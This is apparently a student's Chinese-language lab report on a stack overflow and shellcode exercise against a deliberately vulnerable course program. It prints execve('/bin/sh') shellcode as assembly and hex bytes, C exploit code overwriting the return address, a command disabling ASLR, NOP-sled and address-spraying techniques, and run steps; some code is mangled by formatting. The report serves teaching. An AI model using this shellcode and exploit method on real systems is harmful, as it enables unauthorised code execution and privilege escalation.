1.前置作业

​ 第一次上机的作业是栈溢出实验和shellcode编写。在此之前有一个栈溢出的demo放在课堂资料里面,稍微看了一眼,对于栈溢出的具体实现细节还不是很熟悉,所以我想先在自己电脑上复现demo漏洞利用的过程。所以这个过程我称之为前置任务:D

分析

首先来看需要利用的程序 stack.c:

image-20230415151836946

很明显的没有数组边界检查,在strcpy过程中可以把cookie填满,并且在返回时跳转到一段shellcode中,实现提权。并且这个示例还很贴心的放出了getenv函数,经过搜索可以了解到getenv返回环境变量值,也就是说可以在EGG这个环境变量处存放最核心的shellcode地址,实现栈溢出。

Shellcode构造

**int shell() {
*asm(“*
*needle: jmp gofar\n*
*goback: pop %rdi\n*
*xor %rax, %rax\n*
*movb $0x3b, %al\n*
*xor %rsi, %rsi\n*
*xor %rdx, %rdx\n*
*syscall\n*
gofar: call goback\n**
**.string "/bin/sh"\n**
“);
}

以上是demo给出的shellcode构造过程。

首先是一段引针代码,直接跳转到gofar.注意gofar后面有一段”/bin/sh”字符串,他放在call goback的下一行,这也是有说法的。我们知道call指令会把下一条指令的地址,也就是rip的值压入栈。于是在进入goback之后,第一条指令是pop %rdi,也就是把栈顶的rip的值赋给了rdi。从而完成对rdi的赋值,免去对/bin/sh的地址硬编码,增强shellcode健壮性。

紧接着

xor %rax,%rax

xor %rsi,%rsi

xor %rdx,%rdx

这两步分别将rax 和 rsi rdx 赋值为0。为什么不直接使用 mov $0 呢?

由于几乎所有的输入函数都是以0字符为结束标志,shellcode中的0字符会导致输入函数提前返回,注入失败。

最后一步,将al赋值为0x3b=59,查询syscall表可以找到,这是execve函数的调用号。也就是在exploit启动stack之后在stack中再启动一个execve(“/bin/sh”),实现提权。

Payload完善

到这里payload还没有完成,我们需要把stack和cookie的32位填满,再加上old rbp(8位),也就是0x28位,都用’A’填满。之后将shellcode的地址(EGGLOC)覆盖到rip上,末尾补充一个空字符,这样就是完成了payload构造。

*char shellcode[] = “EGG=\x55\x48\x89\xe5\xeb\x0e*
*\x5f\x48\x31\xc0\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05*
\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x90\x5d\xc3”; // shellcode

char buf[256];

// fill buffer + ebp with 0x41’s
for (int i=0; i <BUFSZ+sizeof(void); buf[i++]=’A’);
// overwrite RIP with eggloc
char buff = (char)(&buf[BUFSZ+sizeof(void
)]);**
(buff++) = (void)EGGLOC; buff = (void)0x0;

最后的payload,也即是buf将被stack的argv[1]读取,所以接下来我们直接编入这个execve调用过程:

// setup execution environment and fire exploit**
char args[3] = { “./stack”, buf, NULL };*
*char envp[2] = { shellcode, NULL};
execve(“./stack”, args, envp);

shellcode将作为环境变量的一部分传入execve,在stack中被getenv(“EGG”)读取地址然后打印出来,其实也就是告诉了我们shellcode的所在地址。但是shellcode的地址需要在运行之后才能知道,如果每一次运行shellcode的地址都不确定,那我们也就无法利用了。这里就需要关闭地址随机化,这里使用了:

sudo sysctl -w kernel.randomize_va_space=0

运行之后,可以发现EGGLOC就是0x7fffffffefcf,与demo预先给出的地址是相同的,在未关闭的情况下是无法利用的,会导致段错误。

完成

是时候建议demo的可行性了,运行看看吧。

image-20230415163923209

完成了!通过栈溢出成功破解了stack

2.上机作业

上次的作业中,我们为了简化问题模型,在目的代码中提供了shellcode的地址。但是如果目的代码中没有给出shellcode地址,该如何确定呢?也就是说,怎么样使得RIP被覆写之后,使得最终跳转到shellcode?第一次上机我们需要直面这个问题。

NOP填充

讲义中给出了一种提高猜对机率的方法:将栈中内容覆盖为NOP——No Operation,字节表示为0x90.这样当新的返回地址被写入后,从新返回地址处开始执行NOP指令,最终到达shellcode,避免由于跳转到不可执行段使程序崩溃,导致注入失败。

如果你不知道Buffer大小?

在之前的几节中,我们知道了当buffer地址和大小已知情况下的溢出攻击。但是更实际的情况是:我们根本无法知晓他们的具体值,特别是对远程服务器的攻击——这种情况下我们没有调试目的程序的能力。那么如何在未知这些信息的情况下执行攻击呢?

假设我们知道一个buffer在32位地址空间下的地址为 A = 0xbfffea8c,而且buffer范围是10-100,但是并不知道具体值。显然我们可以用暴力穷举,但是效率低下而且容易触发警报,我们需要越少的尝试越好。

由于buffer的大小决定了返回地址存放的位置,如果不知道buffer真实大小不能确定,返回地址的存放位置也就无从确定了。所以我们不妨换个思路,与其猜测地址,不如将返回的地址广泛地填充到所有可能存放的位置,这样返回地址存放位置就不存在特殊性了。我们称之为spraying,也叫喷洒技术。

简单解释一下上图:

由于已知A的地址,我们可以对A开始前120字节应用喷洒技术,全部覆写为返回地址,其值可以设置为A地址后120的某个地址。前120字节中某一位会覆盖到返回地址,跳转到NOP段,最终一路运行到shellcode。

如果Buffer地址也不确定呢?

现在我们拿掉已知buffer地址的假设,我们只知道它在A到A+100之间。同时buffer大小的假设不变,仍然是10-100。现在我们要构造一个payload,使得无论buffer地址是多少,只要是在一个特定范围内,攻击就能成功。

仍然对前120字节应用喷洒技术,紧接着150字节NOP填充,最后是shellcode。那么如果buffer地址是X,那么NOP段就可以表示为*[X+120,X+270]。又因为X的值为[A,A+100]*,我们可以列举所有可能的X值,看看他们的NOP段会集中出现在哪里。

Buffer地址 NOP段
A [A+120,A+270]
A+4 [A+124,A+274]
A+8 [A+128,A+278]
…… ……
A+100 [A+220,A+370]

如上表格所示,无论X值如何变化,在[A+220,A+270]之间都只是NOP,可以用作跳转的目的地址。也就是说,这段区间内的任意地址都可以作为返回地址。

通解

综合以上两种考量,我们来看最一般的情况:

假设buffer地址在[A,A+H]内,开头S字节应用喷洒,然后L字节buffer用NOP填充,这时哪些地址可以作为返回地址。

可以看出通用的地址区间为*[A+H+S,A+S+L),但是有一个条件是H<L

由于L由payload的大小确定,也就是目标程序能接收的字节数。所以我们不能随意增加L来调整这个不等式。

显然,H的大小也是不能减小的,但是可以把[A,A+H]这个大区间分解成更小的子区间*H’*。只要H’ < L,我们总能找到一种解。总的来说,如果区间太宽,我们都会将其分解成小的子区间,为每一个子区间构造一个payload。

C语言环境编写Shellcode

到目前为止,我们已经学习了如何在目标程序的内存中注入恶意代码并且触发。但是这段恶意代码要如何编写?遵循何种格式?在之前的个人探索中,我大致学习了在Python3环境下exploit.py的编写,但是C语言程序的shellcode还没有头绪。但是最终目的同样是——实现shell程序的执行。

一种自然的想法是编写一段包含execve(“/bin/sh”,NULL)的函数,然后将目的程序返回地址设为该函数的入口地址,这样当目的程序返回后会叫转到上述函数中。但是出于以下两个原因,这是不可能的 :(

装载器问题

在一个程序运行之前,会由OS装载器将代码装载到内存中,初始化内存如堆、栈等,触发动态链接器将需要的库函数、链接到内存中。这些工作全部结束后,main函数才会触发。以上任何一步缺失都会导致程序无法正常运行。在栈溢出攻击中,恶意代码并不会被OS装载,而是通过内存拷贝直接完成。因此没有关键的初始化步骤,即使跳转到了包含execve的main函数,程序也无法运行。

0 字符问题

这个问题在前置作业中已经接触过了,这里需要阐述的是,当我们将C代码编译成二进制时,至少有3处会出现0.

-在”/bin/sh”字符串末尾存在’\0’

-execve调用时,参数中存在两个NULL,在二进制中也是0

考虑到以上问题,我们不能直接使用由C编译而成的二进制作为恶意代码,最好是使用汇编代码。汇编的核心部分就是execve对”/bin/sh”的调用。在32位程序中,遵循以下调用惯例:

-%eax 赋值为11(0x0b),即execve的调用号。

-%ebx 包含指令字符串的地址,例如”/bin/sh”。

-%ecx 包含参数数列的地址。在这里使用的两个参数”/bin/sh”字符串和标志数列结尾的零字符。

-%edx 包含传入新程序的环境变量的地址,如果不需要传则设为0.

这里给出讲义中的shellcode示例,逐条说明:

第一步,xorl置eax为0,将eax入栈,作为”/bin/sh”结束的零字符。

第二步,两次pushl,分别将字符串”//sh”和”/bin”入栈。于是esp指向字符串”/bin//sh”的地址。注意sh之前用了双斜杠,是为了保持指令的4字节对齐,在execve调用中会被自动识别为单斜杠。

第三步,movl将esp赋值给ebx,这样ebx就变成了字符串的起始地址。

第四步,将eax和ebx先后入栈,此时也就将参数数列”/bin/sh”和NULL设置好了,movl将ecx赋值为参数数列地址。

第五步,cdq设置edx每一位为eax(此时为0)的符号位的值,也就是置edx为0。

第六步,置al为$0x0b,int $0x80软中断触发execve调用。

验证代码环节

上机作业已经给出了漏洞利用代码,一起来看看吧:

由于strcpy函数没有边界检查,bof中存在着栈溢出漏洞。在主函数中从badfile读取数据存入str,传入bof被拷贝到buffer中。因此可以在badfile中构造恶意代码,实现提权。

接下来是badfile构造。

首先对buffer应用了NOP填充,进行初始化。之后传入fillbuffer函数具体实现,最后写入badfile文件。

我们将跳转到的目的地址设为Buffer初始之后的400字节,前100字节应用喷洒技术,全部覆写为目的地址。最后在buffer中装填shellcode,末尾补上零字符。这样payload就构造完毕。

按照教程,编译运行试试看!

  1. make

  2. setarch i386 -R ./exploit
    (generate “badfile” while ASLR disabled)

  3. xxd badfile
    (to observe the content of “badfile”)

  4. setarch i386 -R ./stack
    (shell code injected onto the stack and executed)

    注意是在i386架构下的32位程序,现在的ubuntu版本可能没有自带32位库,需要手动apt-get一下。

    运行成功了,成功获取了admin权限。

    在前100字节中,喷洒确实实现了返回地址的正确覆盖。通过计算可知,0xffffcc27 - 0xffffcbe8 = 63

    63+24+4=91<100.

    于是在bof返回之后跳转到了str的400偏移处,顺着一路NOP最终进入shellcode。

3.总结

栈溢出攻击作为一种历史悠久的攻击方式,在提出的数十年来已经有了很多种反制措施,并且在现实系统和软件中得到了广泛应用。从硬件架构,操作系统,编译器,库到应用程序等,不一而足。虽然到如今已经被彻底扫入了历史的垃圾堆,但仍是软件与系统发展历史上一段重要的历程。

总而言之,这种栈溢出漏洞由于广泛存在,且对后继的攻击方式有重要启发意义,在目前仍然值得学习,引以为训。

4.参考资料

https://blog.csdn.net/dou_being/article/details/125134312

(32条消息) 栈溢出攻击和shellcode_栈溢出 shellcode__EmperLi的博客-CSDN博客

(32条消息) Linux下关闭ASLR(地址空间随机化)的方法_randomize_va_space_counsellor的博客-CSDN博客

https://www.jianshu.com/p/ea78bdd0551f

https://blog.51cto.com/u_9453611/5569511

https://blog.csdn.net/qq_19734597/article/details/102943559